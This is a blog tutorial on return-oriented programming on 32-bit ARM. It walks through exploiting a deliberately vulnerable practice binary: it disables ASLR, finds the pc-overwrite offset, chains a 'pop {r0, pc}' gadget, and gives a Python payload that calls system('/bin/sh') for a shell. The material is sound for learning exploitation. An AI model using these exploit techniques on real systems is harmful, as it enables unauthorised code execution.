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33 <p> 05 June, 2019 </p>
34 <h1>Return Oriented Programming on ARM (32-bit)</h1>
35
36<h2>Making stack-based exploitation great again!</h2>
37
38<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
39assembly to follow along. I highly recommend
40<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
41Basics</a>. Once you’re
42comfortable with it, proceed with the next bit — environment setup.</p>
43
44<h3>Setup</h3>
45
46<p>Since we’re working with the ARM architecture, there are two options to go
47forth with: </p>
48
49<ol>
50<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
51And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
52The scripts found inside should be self-explanatory.</li>
53<li>Use actual ARM hardware, like an RPi.</li>
54</ol>
55
56<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
57may use <code>radare2</code>, IDA or anything else, really. All of which can be
58trivially installed.</p>
59
60<p>And for the sake of simplicity, disable ASLR:</p>
61
62<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
63</code></pre></div>
64
65<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
66<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
67
68<p>Compile it:</p>
69
70<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
71</code></pre></div>
72
73<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
74
75<h3>A primer on ROP</h3>
76
77<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
78used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
79In essence, no code in the binary is actually modified and the entire exploit
80is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
81
82<p>A gadget is essentially a small sequence of code (instructions), ending with
83a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
84code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
85These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
86to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
87there’s generally a call to <code>system()</code>, to acheive code execution.</p>
88
89<p>In practice, the process of executing a ropchain is something like this:</p>
90
91<ul>
92<li>confirm the existence of a stack-based buffer overflow</li>
93<li>identify the offset at which the instruction pointer gets overwritten</li>
94<li>locate the addresses of the gadgets you wish to use</li>
95<li>craft your input keeping in mind the stack’s layout, and chain the addresses
96of your gadgets</li>
97</ul>
98
99<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
100Check it out, it might be just what you needed for that “aha!” moment :)</p>
101
102<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
103that should put things into perspective.</p>
104
105<h3>Exploring our binary</h3>
106
107<p>Start by running it, and entering any arbitrary string. On entering a fairly
108large string, say, “A” × 20, we
109see a segmentation fault occur.</p>
110
111<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
112
113<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
114
115<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
116
117<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
118<code>gadget</code>. Disassembling the <code>main</code> function:</p>
119
120<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
121
122<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
123to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
124never actually called.</p>
125
126<p>Disassembling the <code>gadget</code> function:</p>
127
128<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
129
130<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
131which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
132instruction in the middle. This is a <strong>gadget</strong>.</p>
133
134<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
135arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
136are used for this. So this gadget effectively allows us to pass arguments to
137functions using <code>r0</code>, and subsequently jumping to them by passing its address
138in <code>pc</code>. Neat.</p>
139
140<p>Moving on to the disassembly of the <code>winner</code> function:</p>
141
142<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
143
144<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
145So our end goal here is to, quite obviously, execute code via the <code>system()</code>
146function.</p>
147
148<p>Now that we have an overview of what’s in the binary, let’s formulate a method
149of exploitation by messing around with inputs.</p>
150
151<h3>Messing around with inputs :^)</h3>
152
153<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
154screenshot.</p>
155
156<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
157
158<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
159the <code>pc</code> has been overwritten with our input.
160So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
161
162<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
163control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
164
165<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
166of the second instruction — <code>add r11, sp, #4</code>.
167For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
168the address of <code>winner</code>. Note the endianness.</p>
169
170<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
171</code></pre></div>
172
173<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
174
175<p>The reason we don’t jump to the first instruction is because we want to control the stack
176ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
177those out after <code>winner</code> is done executing and we will no longer control
178where it jumps to.</p>
179
180<p>So that didn’t do much, just prints out a string “Nothing much here...”.
181But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
182to do what we want (run a command, execute a shell, etc.).</p>
183
184<p>To do that, we’ll follow a multi-step process: </p>
185
186<ol>
187<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
188<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
189<code>r0</code>.</li>
190<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
191</ol>
192
193<p>The pseudo-code is something like this:</p>
194
195<pre><code>string = AAAABBBBCCCCDDDDEEEE
196gadget = # addr of gadget
197binsh = # addr of /bin/sh
198system = # addr of system()
199
200print(string + gadget + binsh + system)
201</code></pre>
202
203<p>Clean and mean.</p>
204
205<h3>The exploit</h3>
206
207<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
208It allows us to pack the bytes of addresses to the endianness of our choice.
209It probably does a lot more, but who cares.</p>
210
211<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
212at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
213
214<pre><code>(gdb) find &system, +9999999, "/bin/sh"
215</code></pre>
216
217<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
218
219<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
220found from the disassmblies from earlier. Here’s the final exploit code:</p>
221
222<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
223
224<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
225<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
226<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
227<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
228
229<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
230</code></pre></div>
231
232<p>Honestly, not too far off from our pseudo-code :)</p>
233
234<p>Let’s see it in action:</p>
235
236<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
237
238<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
239when the pipe closes, since there’s no input coming in from STDIN.
240To get around this, we use <code>cat(1)</code> which allows us to relay input through it
241to the shell. Nifty trick.</p>
242
243<h3>Conclusion</h3>
244
245<p>This was a fairly basic challenge, with everything laid out conveniently.
246Actual ropchaining is a little more involved, with a lot more gadgets to be chained
247to acheive code execution.</p>
248
249<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
250
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